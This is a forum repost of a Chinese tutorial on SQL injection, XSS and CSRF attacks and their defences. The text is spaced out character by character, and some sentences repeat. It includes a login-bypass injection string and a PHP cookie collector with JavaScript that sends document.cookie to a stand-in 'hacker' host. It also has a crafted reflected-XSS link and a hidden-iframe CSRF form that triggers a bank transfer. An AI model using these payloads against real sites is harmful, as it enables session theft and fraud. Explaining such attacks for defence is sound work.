搜索

[18150] 2020-09-30_常见web漏洞（Sql注入、XSS、CSRF）原理以及攻防总结

文档创建者：s7ckTeam
浏览次数：41
最后更新：2025-01-18
2020-09-30_常见web漏洞（Sql注入、XSS、CSRF）原理以及攻防总结 常 见 w e b 漏 洞 （ S q l 注 入 、 X S S 、 C S R F ） 原 理 以 及 攻 防 总 结 q u a n w e i b a i   H A C K 之 道   2 0 2 0 - 0 9 - 3 0 作 者 ： q u a n w e i b a i           文 章 来 源 ： G i t H u b S q l 注 入 注 入 所 谓 S Q L 注 入 式 攻 击 ， 就 是 攻 击 者 把 S Q L 命 令 插 入 到 W e b 表 单 的 输 入 域 或 页 面 请 求 的 查 询 字 符 串 ， 欺 骗 服 务 器 执 行 恶 意 的 S Q L 命 令 。 攻 击 者 通 过 在 应 用 程 序 预 先 定 义 好 的 S Q L 语 句 结 尾 加 上 额 外 的 S Q L 语 句 元 素 ， 欺 骗 数 据 库 服 务 器 执 行 非 授 权 的 查 询 , 篡 改 命 令 。 攻 击 原 理 攻 击 原 理 假 设 的 登 录 查 询 S E L E C T   *   F R O M     u s e r s     W H E R E   l o g i n   =   ' v i c t o r '   A N D   p a s s w o r d   =   ' 1 2 3 S e v e r 端 代 码 S t r i n g   s q l   =   " S E L E C T   *   F R O M   u s e r s   W H E R E   l o g i n   =   ' "   +   f o r m u s r   +   " '   A N D   p a s s w o r d   =   ' "   +   f o r m p w d   +   输 入 字 符 f o r m u s r   =   '   o r   1 = 1 f o r m p w d   =   a n y t h i n g 实 际 的 查 询 代 码 S E L E C T   *   F R O M   u s e r s   W H E R E   u s e r n a m e   =   '   '   o r   1 = 1     A N D   p a s s w o r d   =   ' a n y t h i n g '   如 何 防 如 何 防 范 范 服 务 端 特 殊 字 符 过 滤 :   < 、 > 、 *   、 &   等 使 用 O R M 框 架 参 数 化 S q l 查 询 语 句 X s s 攻 击 攻 击 X S S   全 称 ( C r o s s   S i t e   S c r i p t i n g )   跨 站 脚 本 攻 击 ，   是 W e b 程 序 中 最 常 见 的 漏 洞 。 指 攻 击 者 在 网 页 中 嵌 入 客 户 端 脚 本 ( 例 如 J a v a S c r i p t ) ,   当 用 户 浏 览 此 网 页 时 ， 脚 本 就 会 在 用 户 的 浏 览 器 上 执 行 ， 从 而 达 到 攻 击 者 的 目 的 .   比 如 获 取 用 户 的 C o o k i e ， 导 航 到 恶 意 网 站 , 携 带 木 马 等 。 分 类 ： 反 射 型 和 持 久 型 分 类 ： 反 射 型 和 持 久 型 反 射 型 反 射 型 这 种 攻 击 不 经 过 数 据 库 ， 是 从 目 标 服 务 器 通 过 错 误 信 息 、 搜 索 结 果 等 等 方 式 “ 反 射 ” 回 来 的 ， 攻 击 者 通 过 电 子 邮 件 等 方 式 将 包 含 注 入
脚 本 的 恶 意 链 接 发 送 给 受 害 者 ， 当 受 害 者 点 击 该 链 接 时 ， 注 入 脚 本 被 传 输 到 目 标 服 务 器 上 ， 然 后 服 务 器 将 注 入 脚 本 “ 反 射 ” 到 受 害 者 的 浏 览 器 上 ， 从 而 在 该 浏 览 器 上 执 行 了 这 段 脚 本 。 这 种 漏 洞 主 要 存 在 于 与 用 户 有 交 互 的 地 方 ， 如 搜 索 框 ， 如 果 后 台 没 有 对 搜 索 的 内 容 进 行 过 滤 ， 而 原 封 不 动 的 将 搜 索 内 容 展 这 种 漏 洞 主 要 存 在 于 与 用 户 有 交 互 的 地 方 ， 如 搜 索 框 ， 如 果 后 台 没 有 对 搜 索 的 内 容 进 行 过 滤 ， 而 原 封 不 动 的 将 搜 索 内 容 展 示 在 示 在 d o m 中 ， 则 存 在 中 ， 则 存 在 X s s 漏 洞 漏 洞 详 细 攻 击 方 式 如 下 ： 详 细 攻 击 方 式 如 下 ： 构 建 自 己 的 黑 客 网 站   如 ： h a c k e r . q q . c o m 该 域 名 下 有 一   h a c k . p h p : < ? p h p   $ c o o k i e   =   $ _ G E T [ ' q ' ] ; v a r _ d u m p ( $ c o o k i e ) ; $ m y F i l e   =   " c o o k i e . t x t " ; f i l e _ p u t _ c o n t e n t s ( $ m y F i l e ,   $ c o o k i e ) ; ? > 另 外 一   h a c k . j s v a r   i m g   =   n e w   I m a g e ( ) ; i m g . s r c   =   " h t t p : / / h a c k e r . q q . c o m / h a c k . p h p ? q = " + d o c u m e n t . c o o k i e ; d o c u m e n t . b o d y . a p p e n d ( i m g ) ; 构 造 一 个 连 接 来 欺 骗 用 户 < a   h r e f = " h t t p : / / x s s t e s t . q q . c o m / s e a r c h . p h p ? q = % 3 C s c r i p t + s r c % 3 D h t t p % 3 A % 2 F % 2 F h a c k e r . q q . c o m % 2 F h a c k e r . j s % 3 E % 3 C % 2 F s c r i p t % 3 E & c o m m e n d = a l l & s s i d = s 5 - e & s e a r c h _ t y p e = i t e m & a t y p e = & f i l t e r F i n e n e s s = & r r = 1 & p c a t = f o o d 2 0 1 1 & s t y l e = g r i d & c a t = " > 点 击 就 送 9 9 8 < / a > 假 设 就 是 存 在 x s s 漏 洞 的 网 站 ， s e a r c h . p h p 后 的 q 参 数   , 解 码 后 为 实 际 的 作 用 是 模 拟 用 户 在 搜 索 框 中 输 入 后 点 击 搜 索 。 s e a r c h . p h p 未 经 处 理 的 将 其 直 接 输 入 到 页 面 ，   黑 客 就 可 以 获 取 用 户 在 x s s t e s t . q q . c o m 网 站 的 c o o k i e 。 如 何 防 范 如 何 防 范 h t t p : / / x s s t e s t . q q . c o m < s c r i p t   s r c = " h t t p : / / h a c k e r . q q . c o m / h a c k e r . j s " > < / s c r i p t > < s c r i p t   s r c = " h t t p : / / h a c k e r . q q . c o m / h a c k e r . j s " > < / s c r i p t >
后 台 对 敏 感 字 符 过 滤 前 端 e n c o d e h t m l 持 久 型 持 久 型 他 和 反 射 型 X S S 最 大 的 不 同 就 是 ， 攻 击 脚 本 将 被 永 久 地 存 放 在 目 标 服 务 器 的 数 据 库 和 文 件 中 。 这 种 攻 击 多 见 于 论 坛 ， 攻 击 者 在 发 帖 的 过 程 中 ， 将 恶 意 脚 本 连 同 正 常 信 息 一 起 注 入 到 帖 子 的 内 容 之 中 。 随 着 帖 子 被 论 坛 服 务 器 存 储 下 来 ， 恶 意 脚 本 也 永 久 地 被 存 放 在 论 坛 服 务 器 的 后 端 存 储 器 中 。 当 其 它 用 户 浏 览 这 个 被 注 入 了 恶 意 脚 本 的 帖 子 的 时 候 ， 恶 意 脚 本 则 会 在 他 们 的 浏 览 器 中 得 到 执 行 ， 从 而 受 到 了 攻 击 。 如 上 例 中 的 h a c k . j s ,   如 果 用 户 输 入 的 内 容 是 h a c k . j s 中 的 内 容 ， 而 网 站 没 有 对 用 户 输 入 的 内 容 进 行 审 查 就 存 入 数 据 库 ， 然 后 在 论 坛 帖 子 中 展 示 ， 其 他 用 户 在 浏 览 论 坛 的 时 候 就 会 在 浏 览 器 中 执 行 h a c k . j s 的 j s 脚 本 。 如 何 防 范 如 何 防 范 后 台 对 敏 感 字 符 过 滤 C S R F C S R F （ C r o s s - s i t e   r e q u e s t   f o r g e r y ） ， 中 文 名 称 ： 跨 站 请 求 伪 造 ， 也 被 称 为 ： o n e   c l i c k   a t t a c k / s e s s i o n   r i d i n g ， 缩 写 为 ： C S R F / X S R F 。 你 这 可 以 这 么 理 解 C S R F 攻 击 ： 攻 击 者 盗 用 了 你 的 身 份 ， 以 你 的 名 义 发 送 恶 意 请 求 。 C S R F 能 够 做 的 事 情 包 括 ： 以 你 名 义 发 送 邮 件 ， 发 消 息 ， 盗 取 你 的 账 号 ， 甚 至 于 购 买 商 品 ， 虚 拟 货 币 转 账 . . . . . . 造 成 的 问 题 包 括 ： 个 人 隐 私 泄 露 以 及 财 产 安 全 。 原 理 原 理 网 站 A   ： 为 恶 意 网 站 。 网 站 B   ： 用 户 已 登 录 的 网 站 。 当 用 户 访 问   A 站   时 ， A 站   私 自 访 问   B 站   的 操 作 链 接 ， 模 拟 用 户 操 作 。 假 设 B 站 有 一 个 删 除 评 论 的 链 接 ： h t t p : / / b . c o m / c o m m e n t / d e l e t e ? i d = 8 1 7 2 3 A 站   直 接 访 问 该 链 接 ， 就 能 删 除 用 户 在   B 站   的 评 论 。 C S R F   与 与   X s s   最 大 的 区 别 是 ： 最 大 的 区 别 是 ： C S R F 不 直 接 获 取 用 户 的 不 直 接 获 取 用 户 的 c o o k i e ,   而 而 X s s   则 会 直 接 获 取 用 户 的 则 会 直 接 获 取 用 户 的 C o o k i e 如 果 用 户 访 问 了 某 一 个 银 行 的 网 站 忘 记 登 出 了 ， 如 果 用 户 访 问 了 某 一 个 银 行 的 网 站 忘 记 登 出 了 ，   然 后 又 访 问 了 一 个 恶 意 网 站 ， 而 恶 意 网 站 中 存 在 以 下 代 码 ， 则 发 生 然 后 又 访 问 了 一 个 恶 意 网 站 ， 而 恶 意 网 站 中 存 在 以 下 代 码 ， 则 发 生 C S R F
< h t m l > < h e a d >     < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " >         f u n c t i o n   s t e a l ( )         {                           i f r a m e   =   d o c u m e n t . f r a m e s [ " s t e a l " ] ;                           i f r a m e . d o c u m e n t . S u b m i t ( " t r a n s f e r " ) ;         }     < / s c r i p t > < / h e a d > < b o d y   o n l o a d = " s t e a l ( ) " >   < i f r a m e   n a m e = " s t e a l "   d i s p l a y = " n o n e " >       < f o r m   m e t h o d = " P O S T "   n a m e = " t r a n s f e r " 　 a c t i o n = " h t t p : / / w w w . m y B a n k . c o m / T r a n s f e r . p h p " >           < i n p u t   t y p e = " h i d d e n "   n a m e = " t o B a n k I d "   v a l u e = " 1 1 " >           < i n p u t   t y p e = " h i d d e n "   n a m e = " m o n e y "   v a l u e = " 1 0 0 0 " >       < / f o r m >   < / i f r a m e > < / b o d y > < / h t m l > 如 何 防 范 如 何 防 范 验 证 码 C o o k i e   H a s h i n g ( 所 有 表 单 请 求 都 包 含 同 一 个 伪 随 机 值 ) ， 原 则 上 来 讲 黑 客 无 法 获 取 用 户 的 原 则 上 来 讲 黑 客 无 法 获 取 用 户 的 c o o k i e ， 只 是 原 则 上 ， 只 是 原 则 上 < ? p h p       $ h a s h   =   m d 5 ( $ _ C O O K I E [ ' c o o k i e ' ] ) ;   ? >   < f o r m   m e t h o d = ” P O S T ”   a c t i o n = ” t r a n s f e r . p h p ” >       < i n p u t   t y p e = ” t e x t ”   n a m e = ” t o B a n k I d ” >       < i n p u t   t y p e = ” t e x t ”   n a m e = ” m o n e y ” >       < i n p u t   t y p e = ” h i d d e n ”   n a m e = ” h a s h ”   v a l u e = ” < ? = $ h a s h ; ? > ” >       < i n p u t   t y p e = ” s u b m i t ”   n a m e = ” s u b m i t ”   v a l u e = ” S u b m i t ” >   < / f o r m > 然 后 在 服 务 器 端 进 行 H a s h 值 验 证 。 _ _ _ _ _   e n d   _ _ _ _ _
关 注 公 众 号 关 注 公 众 号 : H A C K 之 道 之 道
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理